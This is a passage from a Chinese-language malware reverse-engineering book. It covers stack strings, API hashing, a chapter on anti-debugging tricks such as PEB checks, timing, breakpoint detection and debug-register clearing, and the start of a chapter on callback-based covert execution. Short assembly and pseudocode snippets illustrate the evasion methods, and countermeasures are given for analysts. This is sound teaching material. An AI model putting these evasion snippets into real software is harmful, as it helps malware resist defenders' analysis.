mov [ebp+file+1], 76h
mov [ebp+file+2], 69h
mov [ebp+file+3], 6Ch
mov [ebp+file+4], 2Eh
mov [ebp+file+5], 64h
mov [ebp+file+6], 6Ch
mov [ebp+file+7], 6Ch
lea eax, [ebp+file]
push eax
call LoadLibraryA
`--snip--`
这段代码包含了几个 mov 指令,表示代码将数据移入栈中。它们有趣的地方在于,它们将十六进制值逐字节移入一个缓冲区(ebp+file)。如果你将这些十六进制值转换为 ASCII(在 IDA 中使用 R 键或在 Ghidra 中选择 右键转换字符),你可以像这样还原这个栈字符串:
`--snip--`
mov [ebp+file], 'e'
mov [ebp+file+1], 'v'
mov [ebp+file+2], 'i'
mov [ebp+file+3], 'l'
mov [ebp+file+4], '.'
mov [ebp+file+5], 'd'
mov [ebp+file+6], 'l'
mov [ebp+file+7], 'l'
lea eax, [ebp+file]
push eax
call LoadLibraryA
`--snip--`
现在你可以更有依据地猜测恶意软件在处理这些数据时做了什么。它正在栈上创建一个字符串(evil.dll),并调用 LoadLibraryA,这将把这个恶意 DLL 文件加载到恶意软件的进程中。这是一种 进程注入 技术,第四部分(Part IV)会详细讨论这一点。
有一些优秀的工具可以帮助恶意软件分析师自动化堆栈字符串去混淆。比如,运行恶意软件样本通过 FLOSS(在第二章中讨论)可以去混淆一些基本的字符串混淆,并生成一个 IDA 脚本文件,以便你可以轻松地将这些数据加载回 IDA 数据库。以下是 FLOSS 输出的示例:
> FLOSS extracted 55 stackstrings
GetWindowsDirectoryA
VirtualAllocEx
GetSystemDirectoryA
Software\Microsoft\Windows NT\CurrentVersion\Windows
DeleteFileA
WriteFile
RegDeleteValueA
RegDeleteKeyA
ineIntel
GetUserNameA
CreateProcessA
recv
FindExecutableA
`--snip--`
Pestr(https://
数据哈希
恶意软件作者可以通过使用数据哈希来混淆恶意软件的功能,这是一种单向数据编码;也就是说,它将一些数据编码成其他无法反转的内容。勒索软件家族 Maze 使用著名的ROR-13哈希算法来混淆 Windows API 函数调用,如下代码所示:
`--snip--`
mov [esp+38h+var_38], eax
mov [esp+38h+var_34], 7C0DFCAAh ; GetProcAddress
call sub_4011A0
sub esp, 8
mov [ebp+var_24], eax
mov eax, [ebp+var_4]
mov [esp+38h+var_38], eax
mov [esp+38h+var_34], 0EC0E4E8Eh ; LoadLibraryA
call sub_4011A0
`--snip--`
第二行中的mov指令将 ROR-13 哈希值7C0DFCAAh(即GetProcAddress的值)移入堆栈。同样,哈希值0EC0E4E8Eh表示LoadLibraryA函数,它在第 8 行被移入堆栈。此恶意软件使用哈希值代替函数名来混淆对GetProcAddress和LoadLibraryA函数的调用。必须有一个函数负责解释这些哈希值并加载目标函数的地址(在此案例中为函数sub_4011A0),但这在前面的代码中并未展示,具体细节超出了本章的讨论范围。不过,这些内容已经有很好的文献记录,例如在博客文章“恶意软件中的 Windows API 哈希”中,链接为https://
仅通过查看代码很难理解发生了什么,因为函数名已经被哈希化,无法读取。幸运的是,许多反汇编工具都有特殊功能或插件,能够自动识别潜在的哈希函数名。在我的案例中,IDA 插件apihashes能够正确识别并标注出 ROR-13 哈希数据。哈希技术将在第十六章中进行更详细的讨论。
总结
在本章中,您了解了恶意软件可能采用的几种反反汇编技术,以保护自己免受恶意软件分析师及其工具的攻击。反混淆汇编代码是一项具有挑战性的任务,需要高水平的技术能力以及对恶意软件行为和特征的深入了解。更具挑战性的是,许多这些技术对于恶意软件作者来说非常简单,因为他们可以利用特殊的代码编译器、混淆器和像打包工具这样的工具来实现。对于恶意软件作者来说,实施反反汇编措施通常比逆向工程师绕过这些措施要容易得多,但对抗这些技术对于理解恶意软件的行为和功能至关重要。作为分析师,您应该利用可用的各种工具和技术来反混淆恶意软件代码,并揭示其真正意图。
在下一章中,我们将讨论另一个恶意软件为了阻止动态代码分析而实现的反逆向技术:反调试。
第十一章:10 反调试

反调试是一系列由恶意软件(甚至一些合法程序)使用的反逆向技术,旨在阻碍或防止调试。例如,如果恶意软件检测到调试器正在附加,它可能会尝试干扰调试器进程,或者通过使用所谓的反附加机制或使调试程序崩溃,试图完全阻止调试。在本章中,我们将详细探讨其中一些技术。
使用 Windows API 函数访问 PEB
如你在第一章中所学到的,进程环境块(PEB)是一个结构,包含指向当前运行进程的内存信息的指针。PEB 包括与反调试相关的几个指针,如表 10-1 所列。
表 10-1: 与反调试相关的 PEB 成员
| PEB 偏移量 | PEB 成员 | 描述 |
|---|---|---|
| 0x002 | BeingDebugged | 指示程序当前是否正在被调试 |
| 0x018 | ProcessHeap | 包含指向堆的 Flags 和 ForceFlags 成员的指针 |
| 0x068 | NtGlobalFlag | 包含与内存堆创建相关的信息 |
Windows 通过其 API 向程序公开了大量有关其内部工作原理的数据。有些 Windows API 函数的唯一目的是告诉调用程序是否附加了调试器,而恶意软件可以轻松利用这一点,通过查询 PEB 来确定是否正在进行调试。不仅如此,恶意软件还可以滥用一些 API 函数,欺骗 Windows 暴露附加的调试器。在本节中,我们将探讨恶意软件如何利用 Windows API 和 NT API 来试图识别调试其代码的恶意分析师。稍后章节中,你还将看到恶意软件如何直接查询 PEB,这也是为什么至少需要了解 PEB 相关成员的基本概念。
IsDebuggerPresent 和 CheckRemoteDebuggerPresent
最著名且最简单的 Windows 调试器检测函数之一是IsDebuggerPresent。如果当前进程正在被调试,这个函数将返回非零值;否则,它将返回0。CheckRemoteDebuggerPresent函数返回相同的信息,但返回值为True或False。以下示例展示了恶意软件如何使用它:
`--snip--`
push [ebp+hProcess]
push [ebp+DebuggerPresent]
call CheckRemoteDebuggerPresent
`--snip--`
这里有两个参数被压入栈中:一个是目标进程的句柄(在此案例中,是恶意软件自身的进程,hProcess),另一个是指向一个变量的指针,该变量将接收返回的信息(DebuggerPresent)。一旦恶意软件调用CheckRemoteDebuggerPresent,返回值(True或False)将被存储在
NtQueryInformationProcess
要检测调试器,CheckRemoteDebuggerPresent 会调用系统函数 NtQueryInformationProcess,这是一个低级的 Windows NT 函数,可以返回关于系统的很多不同信息。NtQueryInformationProcess 也可以直接调用。它需要多个参数,包括 ProcessHandle(目标进程的句柄)和 ProcessInformationClass 值(应该返回的信息类型)。在调试器检测的情况下,ProcessInformationClass 的值应该是 7,或者是 ProcessDebugPort。如果返回非零值,表示进程当前在调试器下运行。
另外,恶意软件作者可以指定 ProcessInformationClass ProcessDebugFlags(1F)。如果进程正在被调试,调试标志会被设置,从而向恶意软件发出信号。最后,ProcessDebugObjectHandle(1E)信息类也可以揭示调试器的存在。
NtQuerySystemInformation
NtQuerySystemInformation 是一个 Windows NT 函数,用于查询系统信息。这个函数可以返回多种不同类型的信息,而对于我们来说,尤其关键的结构是 SYSTEM_KERNEL_DEBUGGER_INFORMATION。这个结构包含了两个重要的值,用于调试器检测:KdDebuggerEnabled 和 KdDebuggerNotPresent,这两者都可以用来检测内核调试器是否附加到调用进程上。内核调试器 是用于调试低级软件的专用工具,有时也用于恶意软件分析。如果 KdDebuggerEnabled 返回非零值,或者 KdDebuggerNotPresent 返回 0,可能意味着恶意软件检测到一个内核调试器存在。
OutputDebugString
OutputDebugString函数仅仅是在调试器中显示一个字符串。如果进程附加了调试器,该字符串将会显示;如果没有,OutputDebugString将返回错误。恶意软件可以通过手动使用SetLastError设置一个错误代码(这个错误可以是任何任意值),然后调用OutputDebugString并传递一个随机字符串值,再调用GetLastError检查错误状态是否发生变化,示例如下的伪代码:
SetLastError("5");
OutputDebugString("testing123");
error = GetLastError();
if (error == "5"):
// Debugger detected.
// Execute evasion code, such as TerminateProcess.
else:
// Did not detect debugger; continue execution.
这个恶意软件样本使用SetLastError设置一个错误代码为5,然后调用OutputDebugString并传入随机字符串值testing123。接着,恶意软件调用GetLastError获取最后的错误代码,并将其与之前SetLastError调用的错误代码进行比较。如果调用OutputDebugString成功且没有错误,则GetLastError的代码仍应为5,这意味着调试器存在。这是一个老技巧,但恶意软件偶尔仍会尝试使用它。
CloseHandle 和 NtClose
如果正在调试一个恶意软件样本,并且恶意软件试图使用无效句柄调用CloseHandle或NtClose函数,它将引发一个EXCEPTION_INVALID_HANDLE异常。一旦这个异常被触发,它将被传递到调试器的异常处理程序,提示恶意软件它正在被调试。以下简单代码演示了这一过程:
mov ebx, [invalid_handle]
call NtClose
上述代码调用NtClose并传递一个无效的句柄作为参数。一旦执行,这将引发一个异常,并提示恶意软件它正在被调试。
NtQueryObject
为了使调试器正常工作,它必须创建一个名为调试对象的特殊内核对象。恶意软件可以调用NtQueryObject获取所有调试对象的列表,调试对象的存在意味着恶意软件当前正在被调试,或者主机曾经使用过调试器。
该函数的第一个参数,Handle,是查询信息的对象的句柄。第二个参数,NtQueryObject,接受一个ObjectInformationClass值,该值告诉函数需要返回何种类型的数据。第三个参数,ObjectInformation,接受一个指针,指向存储返回数据的位置。
如果你发现恶意软件调用了NtQueryObject,并提供了一个ObjectInformationClass值为3(ObjectAllTypesInformation),然后检查ObjectInformation缓冲区中的字符串,如DebugObject,你可以相对确定恶意软件正在尝试识别调试器。
堆标志
PEB 包含指向进程内存堆结构的指针,称为进程堆,位于位置 0x18(64 位进程为 0x30)。进程堆包含多个成员,这些成员是指向附加数据的指针;其中两个成员是Flags和ForceFlags,它们指向一个数据块,提供有关进程堆内存的信息给 Windows 内核。在 Windows 7 及以上版本中,如果进程正在调试,Flags成员的值将为0x40000062,ForceFlags成员的值将为0x40000060。为了检测调试器,恶意软件可能会通过调用函数RtlQueryProcessHeapInformation或RtlQueryProcessDebugInformation尝试读取堆结构中的这些值,或者它可能会手动读取 PEB,如下一节中所讨论的。
这不是一种常见的反调试技术,所以我在这里不再详细介绍,但了解它的存在是很重要的。如果你发现恶意软件调用了其中一个或两个函数,检查后续的代码。如果恶意软件正在查询Flags或ForceFlags成员,那么很有可能它正在尝试检测你的调试器。
直接访问 PEB
恶意软件可能直接访问和读取 PEB,而不是依赖于前一节中描述的 Windows 函数,如以下汇编代码所示:
`--snip--`
mov eax, [fs:0x30]
cmp [eax+0x2], 1
jnz DebuggerDetected
`--snip--`
在这里,为了获取 PEB 的地址以读取它,恶意软件将 fs:0x30 的地址移动到 eax 中。(如你在第一章中所回忆,fs:0x30 是 PEB 起始位置的地址。)接下来,恶意软件将 1 与 eax+0x2 的值进行比较,后者是 PEB 结构中的 BeingDebugged 字段。如果该值为 1,则很可能有调试器附加到该进程,恶意软件可能会相应地做出反应。
另一个手动读取 PEB 的例子涉及到 NtGlobalFlag,它位于 PEB 中字节 0x68 处,包含与内存堆创建相关的信息。当进程在调试器下启动时,NtGlobalFlag 的值将为 0x70,因此恶意软件可以读取其 PEB 中的该值进行快速的调试器检查。
请记住,恶意软件可以通过这种方式查询 PEB 结构的任何成员。直接访问 PEB,而不是调用常见的 Windows 函数来实现这一点,可能是恶意软件在不引起警报的情况下检测调试器的有效方法。
时序检查
第七章描述了时序检查,特别是在检测沙箱和虚拟机环境中的应用,但这些检查也可以用来检测调试器。检测调试器的三种常见时序方法是 GetTickCount、rdtsc 指令和系统时间检查。
正如你可能还记得的 第五章 中所提到的,GetTickCount 返回自系统启动以来经过的毫秒数。恶意软件可以在其代码的不同位置调用 GetTickCount 来查看自上次调用此函数以来经过了多少时间。当恶意软件正在被调试时,程序自然会变得更慢,尤其是当恶意软件分析师在整个调试过程中设置了断点。如果分析师恰好在某个函数上设置了断点,或者在逐步执行代码时,GetTickCount 的第一次调用和最后一次调用之间的时间差将远大于平常。恶意软件可以利用这一点来检测是否存在调试器。
恶意软件也可以以类似的方式使用 rdtsc 指令。通过在其代码中各个位置插入 rdtsc 指令,恶意软件可以通过 CPU 定时来判断自己是否正在被调试(参见 图 10-1 中的 x64dbg 截图)。

图 10-1:恶意软件使用 rdtsc 作为反调试技术
最后,恶意软件可以通过调用诸如 GetLocalTime、GetSystemTime 和 NtQuerySystemTime 等函数,在其代码中的各个位置查询系统时间,以检测是否正在使用调试器。
还有许多其他使用时间检查来捕捉调试器的方法,这里列出的只是其中一些最常见的方法。这里的重点是,如果你发现恶意软件偶尔调用时间函数或在代码中使用诸如 rdtsc 这样的指令,它可能正在使用反调试技术。解决这个问题的最好方法是干脆避免使用调试器。然而,这并不总是可行的。你可能需要找出这些函数和指令在恶意软件中的执行位置,并将其修补,或者修改它们的返回值,欺骗恶意软件让其相信自己没有被调试。
系统人工制品
恶意软件可能通过系统的人工制品(如桌面窗口、注册表键和值、已加载的模块等)来检测调试器。在本节中,我们将简要介绍这些内容,但你可能会觉得参考 第二部分 更有帮助,第二部分详细讨论了恶意软件如何搜索这些类型的人工制品。
寻找调试器窗口
第五章讨论了恶意软件如何利用诸如FindWindow等函数检测分析工具,该函数用于定位桌面窗口,以及EnumWindows,它用于枚举打开的桌面窗口。恶意软件还可以使用这些函数专门查找调试器窗口。例如,它可能会调用FindWindow来枚举带有调试器产品名称的打开窗口,例如 x64dbg、OllyDbg 或 Immunity 调试器。图 10-2 展示了勒索软件变种 Satan 在寻找任何打开的 OllyDbg 窗口。

图 10-2:恶意软件 Satan 寻找与 OllyDbg 相关的窗口
枚举加载的模块
当你将恶意软件附加到调试器时,调试器可能会将模块加载到恶意软件的地址空间中;例如,WinDbg 调试器可能会加载dbghelp.dll库。恶意软件可以通过调用GetModuleHandle函数,并传递模块名称(如dbghelp.dll)作为参数,来定位可疑模块。或者,它可以通过使用Module32First和Module32Next枚举所有加载的模块,然后搜索特定的模块名称。
搜索调试器进程
恶意软件还可以枚举主机上运行的进程,查找调试器进程。为此,它可能会调用CreateToolhelp32Snapshot、Process32First和Process32Next,然后专门查找常见的调试器进程名称,如ollydbg.exe、x64dbg.exe或ida64.exe。
检查父进程
为了检测调试器,恶意软件可以检查其父进程是什么。如果恶意软件运行在调试器内部,它的父进程将是调试器进程。如果恶意软件检测到它作为调试器进程的子进程运行(例如x64dbg.exe),那么它就能识别出自己正在被调试。
恶意软件可以通过几种方式检测其父进程。一种方法是获取自身的进程 ID (GetCurrentProcessId),获取所有运行中的进程快照 (CreateToolhelp32Snapshot),并使用 Process32First 和 Proces32Next 搜索其自身的进程名。一旦找到其进程,进程快照结构中将包含一个条目 (th32ParentProcessID),表示其父进程的 ID。
类似地,恶意软件可以使用 CreateProcess 创建一个子进程,使得恶意软件的原始进程成为这个新子进程的父进程。然后,子进程可以调用 DebugActiveProcess,并将其父进程作为参数。如果父进程(即原始的恶意软件进程)已经在调试中,那么这个函数将抛出一个异常,如 STATUS_PORT_ALREADY_SET,这让恶意软件意识到它正被调试器监控。
断点检测与陷阱
在调试器中调查恶意软件时,恶意软件分析师通常会在特定的指令、函数调用或特定的内存段上创建断点。正如你可能记得的那样,来自第三章,在恶意软件代码中创建软件断点会修改正在运行的恶意软件样本。这意味着恶意软件可以通过一些有趣的方式检测这些断点。本节将讨论恶意软件可能采用的一些断点检测、规避和利用方法。
通过断点检测调试器
当调试器在程序中的某个断点指令(如 int 3,这是最常见的断点之一)处停下时,它会在程序代码的这一点上中断。这是因为断点指令会导致程序发生中断异常,最终将控制权转交给调试器。然而,当程序没有被调试时,断点指令会引发 EXCEPTION_BREAKPOINT,控制流则会传递给程序的默认异常处理程序。
这是恶意软件测试其是否正在被调试的一种有效方法。如果恶意软件执行指令int 3,且未被调试,则会触发一个EXCEPTION_BREAKPOINT并调用异常处理程序。当然,反之亦然。如果这个EXCEPTION_BREAKPOINT没有触发异常处理程序,恶意软件可以推断它正在被调试。请看下面的简化伪代码:
`--snip--`
IsBeingDebugged() {
try {
❶ asm ("int 3");
return true;
}
❷ catch (EXCEPTION_EXECUTE_HANDLER) {
return false;
}
}
`--snip--`
这段伪代码使用了一个简单的try... catch语句。恶意软件尝试执行int 3指令❶,如果这个语句成功返回且未调用异常处理程序,则恶意软件认为它正在调试器中运行。然而,如果这个指令触发了异常❷,恶意软件就可以安全地假设它没有附加到调试器上。
检测和规避软件断点
恶意软件还可以通过实现断点扫描技术来直接检测断点的使用。在下面的汇编代码示例中,恶意软件扫描其代码中是否包含断点指令int 3(十六进制为0xCC):
`--snip--`
mov ebx, <kernel32.WriteProcessMemory>
cmp byte ptr ds:[ebx], 0xCC
`--snip--`
这个恶意软件样本试图确定恶意软件分析师是否在WriteProcessMemory函数上设置了软件断点。首先,恶意软件将WriteProcessMemory的地址移动到ebx寄存器中。然后,它将0xCC(即int 3调试器断点指令)与ebx中的第一个字节进行比较,这个字节是WriteProcessMemory函数的起始位置,也是断点将放置的地方。一旦恶意软件识别出软件断点,它可能会尝试覆盖或清除该断点。
你可以通过使用不常见的断点指令来克服某些断点检测技术。许多调试器都有这个选项。在 x64dbg 中,只需导航到OptionsSettingsEngine,然后在“Default Breakpoint Type”下设置你喜欢的断点指令,如图 10-3 所示。

图 10-3:在 x64dbg 中设置默认断点类型
一些变种的恶意软件也会寻找这些替代的断点指令,因此更好的选择是使用硬件断点来规避软件断点检测技术。然而,硬件断点同样可以被恶意软件规避,接下来的部分将对此进行讨论。
检测和规避硬件及内存断点
与软件断点类似,硬件断点可被分析人员用来拦截函数调用、在感兴趣的行为上中断,以及一般性地控制恶意软件的执行。由于硬件断点是通过 CPU 寄存器(DR0–DR3)实现的,而不是通过指令,因此恶意软件可以扫描这些寄存器以寻找断点。如果这些寄存器中的任何一个包含数据(特别是内存地址),恶意软件可能会认为已设置硬件断点,并采取规避措施,例如清除这些寄存器,从而有效地移除断点。查找硬件断点的一种方法是使用 GetThreadContext 函数(对于 64 位程序,使用 Wow64GetThreadContext),如下所示:
CONTEXT context;
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &context);
if ((context.Dr0) || (context.Dr1) || (context.Dr2) || (context.Dr3)) {
return true;
}
在这个示例伪代码中(改编自 https://
恶意软件可以使用SetThreadContext(或者对于 64 位恶意软件使用Wow64SetThreadContext)完全移除它检测到的任何硬件断点。将此行添加到前面的代码示例中,将有效清除调试寄存器,进而移除恶意软件分析师的硬件断点:
context.Dr0 = null;
context.Dr1 = null;
context.Dr2 = null;
context.Dr3 = null;
SetThreadContext(hThread, &context);
最后,恶意软件可以使用ReadProcessMemory函数来检测内存断点。设置内存断点会改变内存页,因此,如果恶意软件在可疑内存页上调用ReadProcessMemory,并且返回一个意外的值,比如PAGE_NOACCESS或PAGE_GUARD,它可能会推测此内存页上已经设置了硬件断点。另一种实现相同效果的方法是恶意软件执行VirtualQuery、VirtualQueryEx或NtQueryVirtualMemory。我们将在下一节讨论内存断点。
如果你怀疑恶意软件样本使用了本节描述的任何技术,挂钩(在这些函数上设置断点)是很有帮助的。一旦命中断点,你可以简单地修改返回值,或者完全跳过对该函数的调用。调试器插件 ScyllaHide,如第 181 页所述,也可以在这里提供帮助。
使用内存页保护来检测断点
内存页保护是 Windows 中实现的用于内存访问的特殊标志。在分配新的内存页时,程序可以添加PAGE_GUARD标志,作为一种内存访问的警报系统。当该内存区域被程序(或其他程序)访问时,它会触发STATUS_GUARD_PAGE_VIOLATION异常。如果程序在调试器下运行,PAGE_GUARD的行为通常会有所不同(因为调试器正在处理异常),并且不会触发正常的异常。
恶意软件可以通过在某些内存页上实现页面保护来利用这一点。如果这些页面从调试器外部访问(意味着恶意软件没有被调试),恶意软件将正常引发异常。如果没有引发异常,根据使用的调试器及其配置,这可能会警告恶意软件它正被调试。为了在内存中设置页面保护,恶意软件可以调用VirtualProtect并将PAGE_GUARD(0x100)值设置。以下代码展示了恶意软件调用VirtualAlloc并设置此参数的示例:
`--snip--`
push 104h ; 0x100 (PAGE_GUARD) + 0x4 (READ/WRITE)
push edi
push esi
call VirtualAlloc
`--snip--`
这段代码调用了VirtualAlloc,并将flNewProtect值设置为0x104,这是0x100(PAGE_GUARD)和0x4(READ/WRITE)保护的组合。内存分配和VirtualAlloc的详细内容请参考第四部分,特别是第十七章。
使用断点陷阱
恶意软件可以在其代码中插入像int 3和int 2d这样的断点指令,迫使调试器频繁中断,从而给恶意软件分析师调试带来麻烦。一个不断中断的调试器会让调试变得非常头疼。故意在恶意软件中放置的断点指令有时被称为陷阱。
图 10-4 显示了在 x64dbg 中使用int 3陷阱技术的 Dridex 恶意软件样本。

图 10-4:使用断点反调试陷阱的 Dridex 恶意软件样本
此处显示的 Dridex 代码执行了两个int 3指令,递增eax,执行另外两个int 3指令,然后继续循环。这个函数会重复 13,512 次(cmp eax, 13512),这可能会给恶意软件分析师调试样本时带来很大的困扰。
要绕过这种陷阱技术在恶意软件中通常很困难。最佳方法是识别出有问题的指令并将其修补掉。就像这个 Dridex 示例一样,恶意软件可能会创建一个循环(使用jmp、jnz、jz等)来执行这些断点指令,在这种情况下,你需要修补或修改循环指令,以绕过这种行为。
未处理的异常
恶意软件可以设置一个顶级异常处理程序(称为未处理异常过滤器)来检测调试器。这将覆盖任何其他处理程序,例如默认的 SEH,首先通过调用SetUnhandledExceptionFilter,允许调用程序成为顶级异常处理程序,然后调用UnhandledExceptionFilter,强制执行异常处理程序。当恶意软件程序未被调试时,异常将被传递到新的处理程序。如果正在调试,则不会调用新的处理程序,异常将被传递给调试器,表明恶意软件正在调试器中运行。
为了应对这种技术,你可以通过断点或钩子拦截对SetUnhandledExceptionFilter和UnhandledExceptionFilter的调用,并修改函数调用或完全修补掉这些代码。第十一章将更详细地讨论异常处理。
校验和、代码段哈希和自愈
恶意软件可以通过对其代码进行校验和(或哈希)来判断是否设置了断点,或者分析员是否以其他方式修改了调试器中的代码。使用任何哈希算法(例如 MD5),恶意软件作者可以逐行创建代码的哈希值,或对整个代码段进行哈希(通常称为代码段哈希),然后将其与基线值进行比较。如果存在差异,恶意软件可能会认为已设置断点或代码已被修改。
恶意软件还可以实施所谓的自愈技术,存储其代码的干净副本,并在检测到代码篡改时恢复原始版本。以下伪代码展示了这一过程在实践中的表现:
// Calculate the checksum of the clean code.
clean_code_checksum = calculate_checksum(clean_code)
// At runtime, recalculate the checksum and compare it to the stored value.
malware_code = read_malware_code()
malware_code_checksum = calculate_checksum(malware_code)
// If checksums do not match, terminate the malware.
if malware_code_checksum != clean_code_checksum:
terminate_malware()
else:
// The code has not been tampered with! Continue running.
分析员很难绕过这种技术。最有效的方法是识别恶意软件在哪个位置获取某段代码的校验和,然后将这一功能从代码中修补掉。如果恶意软件使用这种方法来查找软件断点,还可以使用硬件断点。
利用、崩溃和干扰调试器
有时候,最有效的反调试方法就是通过直接干扰调试器,使其崩溃或表现出不可预测的行为。就像任何软件一样,调试器的代码中可能会有漏洞,允许恶意软件干扰分析、使调试器崩溃,甚至可能导致操作系统本身崩溃。一个流行的例子是 OllyDbg 1.1 版本中的一个漏洞,恶意软件可以调用 OutputDebugString 函数,并将 %s 作为参数传递;OllyDbg 无法处理该值,导致正在运行的恶意软件样本崩溃,从而阻止进一步调试。
也许稍微不那么激进的方法是 BlockInput 函数,恶意软件可以滥用它来干扰分析工具。BlockInput 只有一个参数:fBlockIt。如果该参数设置为 1,则所有应用程序的鼠标和键盘事件都会被阻止,这会严重干扰调试过程。如果恶意软件检测到自己正在被手动检查或在调试器下运行,它可能会调用 BlockInput 作为自我防御机制。幸运的是,您可以通过使用 CTRL-ALT-DELETE 来轻松绕过此技术,这将使 BlockInput 例程失效。您也可以在调试器中修改函数调用,将 fBlockIt 参数设置为 0 而不是 1。
最后,恶意软件可以使用 NtSetInformationThread 来隐藏代码执行,避免被调试器检测,或者直接使调试器崩溃。通过将 ThreadInformationClass 值 ThreadHideFromDebugger(以十六进制表示为 0x11)传递给 NtSetInformationThread 函数,恶意软件可以隐蔽地执行代码,从而导致恶意软件分析员无法控制正在运行的样本。此外,如果恶意软件在隐蔽执行的代码中执行一个断点指令(例如 int 3),恶意软件进程将在调试器中无限期挂起。我将在第十一章中讨论这一技术。
这些只是已知的调试器利用技术中的一些例子,肯定还有许多未知的技术。恶意软件分析师应当对这些技术保持警惕,并预期在分析先进的规避恶意软件时会出现新的技术。记住,始终在安全的测试环境中进行分析和调试。
调试阻止与反附加技术
恶意软件可能不会检测调试器或主动干扰它,而是简单地尝试完全阻止其功能。这一系列技术通常被称为 调试阻止 或 反附加。
要附加到正在运行的恶意软件样本,通常调试器会调用 Windows 函数 DebugActiveProcess。如果该进程已经在调试中,该函数将失败。恶意软件可以利用这一点,简单地充当其自己的调试器。它可以生成一个子进程并将父进程设置为调试器。当尝试将调试器附加到该子进程时,恶意软件分析师将遇到令人沮丧的 STATUS_PORT_ALREADY_SET 异常,这意味着该进程已经在调试中。
为了克服这种技术,您可以将调试器附加到父进程,并在 WaitForDebugEvent 上设置断点。当断点被触发时,您可以通过调用 DebugActiveProcessStop 函数强制进程(充当调试器的进程)从其子进程中分离。
注意
有关此技术的更多信息,请查阅 Mark Vincent Yason 的研究论文《The Art of Unpacking》。尽管该论文已久,但依然非常相关。请阅读它: <wbr>www<wbr>.blackhat<wbr>.com<wbr>/presentations<wbr>/bh<wbr>-usa<wbr>-07<wbr>/Yason<wbr>/Whitepaper<wbr>/bh<wbr>-usa<wbr>-07<wbr>-yason<wbr>-WP<wbr>.pdf。
恶意软件还可以修改常见的调试器功能以防止调试;恶意软件家族 GuLoader 就是这么做的。当附加到一个进程时,调试器会调用函数DbgBreakPoint和DbgUiRemoteBreakin,这些函数基本上允许调试器在被调试的程序中使用断点。GuLoader 通过删除int 3操作码,并用nop指令替换它,从而修改了DbgBreakPoint,有效地损害了该功能。同样,GuLoader 通过一个无效的调用指令修改了DbgUiRemoteBreakin函数,最终会导致一个异常,可能导致正在调试的恶意软件崩溃。CrowdStrike写了一篇关于 GuLoader 的精彩文章;有关这些技术的更多信息,请阅读这篇论文 https://
其他反调试技术
恶意软件可以使用许多方法来发现或干扰正在使用的调试器。当然,研究人员和恶意软件作者不断发现新的、富有创意的方式来检测并规避调试器。我尽力在本章中覆盖了尽可能多的常用或特别有趣的技术。
有些方法我选择不在这里描述,因为它们不常见或难以实现。例如,一些恶意软件家族(例如 rootkit)可以直接检查其EPROCESS块,以查找附加调试器的迹象,但这种情况非常罕见。其他技术可能会产生错误。例如,恶意软件可以通过尝试调用OpenProcess来检查其调试权限,目标是系统进程,如csrss.exe。如果恶意软件能够获取该进程的句柄,它可能会推测自己正在被调试,但这并不总是准确的。另一个例子是使用trap flag,这是在EFLAGS和RFLAGS寄存器中存在的一个特殊标志,可能会暴露调试器的存在。这两种方法都可能产生误报,且实现起来更困难,因此不太常用。
在本章的结尾,我们将看看如何应对逆向工程过程中遇到的反调试技术。
反调试技术的对抗
为了有效地绕过反调试技术,首先你需要清楚了解你面临的具体情况。你可以通过逐步执行恶意软件的代码并手动查找技术来识别恶意软件使用的技术,但这当然不是很高效。通常,你需要结合使用反汇编器和调试器,以更好地理解遇到的任何反调试方法。
在深入研究任何恶意软件之前,我总是先在 PE 静态分析和分类工具中检查样本,例如 PEStudio 或 PE-bear。这些工具允许我检查文件中的导入和字符串,可能有助于识别与反调试相关的库和函数调用。我还使用像 CAPA 这样的工具,我在第三章中描述过。
一旦我识别出可执行文件中的反调试技术,我会借助反汇编工具检查周围的代码,并决定如何应对和绕过这些技术。这通常涉及在调试器中设置可疑代码和函数调用的断点,并动态修改代码。
有一些很棒的工具可以帮助自动化绕过反调试技术的过程。ScyllaHide(https://

图 10-5:x64dbg 中的 ScyllaHide 菜单
要在 ScyllaHide 中启用反反调试功能,只需勾选该功能旁边的框,然后选择应用和确定。将鼠标悬停在每个选项上会弹出更多信息。我通常启用整个左侧列的选项,这通常不会引发问题。话虽如此,虽然大多数选项可以安全启用,但其中一些可能会破坏恶意软件样本,导致它崩溃或表现出意外行为。因此,请小心使用。
HyperHide(https://

图 10-6:x64dbg 中的 HyperHide 菜单
这两种工具具有非常相似的反反调试选项,但在某些情况下,一种工具可能比另一种效果更好。试试这两种工具,看看你更喜欢哪一种。
总结
本章讨论了恶意软件可能用来检测和绕过调试工具的许多常见反调试方法。许多这些技术在各种恶意软件中广泛使用,从普通的信息窃取软件到高级定制和针对性的威胁,因此理解这里描述的概念非常重要。在下一章中,您将学习恶意软件如何秘密执行代码以规避动态分析工具,如调试器,并使用误导技术来干扰分析过程。
第十二章:11 隐蔽代码执行与误导

在继续第三部分关于恶意软件使用的反向工程技术的讨论时,本章将探讨隐蔽代码执行,即恶意软件以隐秘的方式执行代码,令分析员难以追踪其逻辑和代码,有时甚至完全避开调试。这还可以起到误导分析员的作用,造成混乱并减缓逆向工程的过程。让我们探讨一些你可能遇到的具体隐蔽代码执行和误导技巧。
回调函数
回调函数是由特定事件触发的应用程序定义函数,并作为其他函数的输入。例如,Windows API 函数EnumDisplayMonitors使用回调函数来枚举主机上配置的显示器。当调用EnumDisplayMonitors时,显示器会逐一列举,并将每个显示器的信息(如屏幕大小)传递给回调函数。程序定义了这个回调函数,并可以将其指向任何它希望执行的代码。
恶意软件可以通过创建自定义回调函数并将其指向恶意代码,滥用如EnumDisplayMonitors这样的函数,正如图 11-1 所示。然后,这段代码将由调用函数(EnumDisplayMonitors)执行,这样可以达到混淆控制流的目的(作为一种反反汇编和防止反向工程的技术),甚至可能导致恶意软件分析员在调试器中失去对恶意软件的控制。此方法还可能使一些自动化沙盒产生困惑。

图 11-1:一个使用 EnumDisplayMonitors 的回调函数示例
本图中的恶意软件调用EnumDisplayMonitors并定义了包含恶意代码的回调函数。当调用EnumDisplayMonitors时,控制流会转移到恶意回调函数。对于不了解回调工作原理的恶意软件分析员来说,在调试器或静态代码分析中看到这种行为可能会非常混乱,因为代码中可能看不到跳转到这个回调函数的明显痕迹。
理论上,这种技术可以与几乎任何使用回调的 Windows API 函数一起使用(而且有很多这样的函数),但我发现恶意软件可能滥用的许多函数以 Enum 开头,例如 EnumDateFormatsEx、EnumSystemLanguageGroups 和 EnumChildWindows。
TLS 回调
